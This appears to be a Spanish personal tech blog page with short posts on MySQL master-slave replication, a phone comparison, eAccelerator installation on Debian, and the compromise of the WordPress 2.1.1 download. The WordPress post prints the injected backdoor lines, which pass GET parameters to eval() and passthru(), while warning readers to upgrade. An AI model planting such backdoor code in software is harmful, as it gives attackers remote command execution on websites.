Mysql Replication
Aqui voy a explicar como poder montar un sistema de maestro-esclavo(s) en mysql. La idea es que hay un servidor principal, que es en el que se modifican los datos y los esclavos solo estan ahi para tenerlo todo duplicado, esto es perfecto para hacer copias de seguridad. Si la idea es tener transferencia de datos bidireccional, hay que montar un "MySQL Cluster"
La replicacion funciona por medio de los binary log de mysql, asi que lo primero sera configurar correctamente el servidor maestro. Asi que añadimos estas opciones en el fichero my.cnf si aun no estan.
[mysql] #Activamos el log binario log-bin=mysql-bin #Establecemos un id para el servidor, el maestro SIEMPRE sera 1 server_id=1 #Esto ayuda por si el master tiene un cuelgue y no haya problemas en la replicacion al volver a arrancarlo sync_binlog=1 #Si trabajamos con INNODB, hay que activar esto innodb_flush_log_at_trx_commit=1
IMPORTANTE: Hay que comprobar que la linea skip-networking no este puesta en el master, ya que sino no abrira el puerto
BlackBerry 7130v vs HTC P4350
Hace tiempo que llevo mirando la BlackBerry 7130v, el problema es que este movil solo esta con vodafone, y como tenemos las lineas con movistar resulta bastante molesto tener que cambiar de compañia. Despues de buscar y rebuscar, no habia forma de encontrar nada parecido, hasta que la semana pasada en el corte ingles me enseñaron la HTC P4350.
Realmente la HTC P4350 es una pasada, pequeña, con teclado qwerty, la unica pega... Windows Mobile... despues de investigar un poco, encontre que existe la ultilidad Missing Sync para MacOSX, que es un sustituto para ActiveSync. Asi que despues de meditarlo, me comprare la HTC P4350 con una memoria de 2GB, y asi tendre una PDA+movil pequeña y ligera con especificaciones espectaculares (Bluetooth2/Wi-Fi...) y con posibilidad de ponerme el servicio mail movistar.
WordPress 2.1.1 Comprometido
Hace unos dias alguien ha entrado en la maquina de descargas de worpress y se han cambiado dos ficheros en wp-include en los cuales han metido codigo para ejecutar codigo por medio de parametro GET. Tal como dicen en la web de wordpress hay que actualizar inmeditamente a la version 2.1.2
El codigo injectado esta en estos dos ficheros:
- wp-includes/feed.php
84 85 86
function comment_text_phpfilter($filterdata) { eval($filterdata); }
149
if ($_GET["ix"]) { comment_text_phpfilter($_GET["ix"]); }
- wp-includes/theme.php
408 409 410
function get_theme_mcommand($mcds) { passthru($mcds); }
441
if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }
PHP5 eAccelerator
Hacia tiempo que queria poner esto, pero nunca me he puesto. eAccelerator es un modulo de php que compila y carga en memoria las aplicaciones php, y con esto consigue que haya una mejora de respuesta y descarga bastante el servidor. Aqui os explico como instalar eAccelerator con PHP5 en una debian.
Lo primero que hay que hacer es descargarse la ultima version de eAccelerator, tambien necesitaremos en el server las utilidades de desarrollo de php
apt-get install php5-dev
La instalacion es realmente muy sencilla, solo tenemos que descomprimir, compiler, instalar y configurar.
- Descomprimimos
tar xvfj eaccelerator-0.9.5.tar.bz2- Compilamos
cd eaccelerator-0.9.5 phpize ./configure make
- Instalamos (nos pondra el modulo en la carpeta de modulos de php)
9b6e1fd14996d83c5c6826021f766344017
Ten cuidado con quien te metes….
El viernes en Kuhn me enseñaron este video, y la verdad, es que si vas de chulo, siempre te puedes encontrar a alguien mejor que tu y recibir una buena paliza...



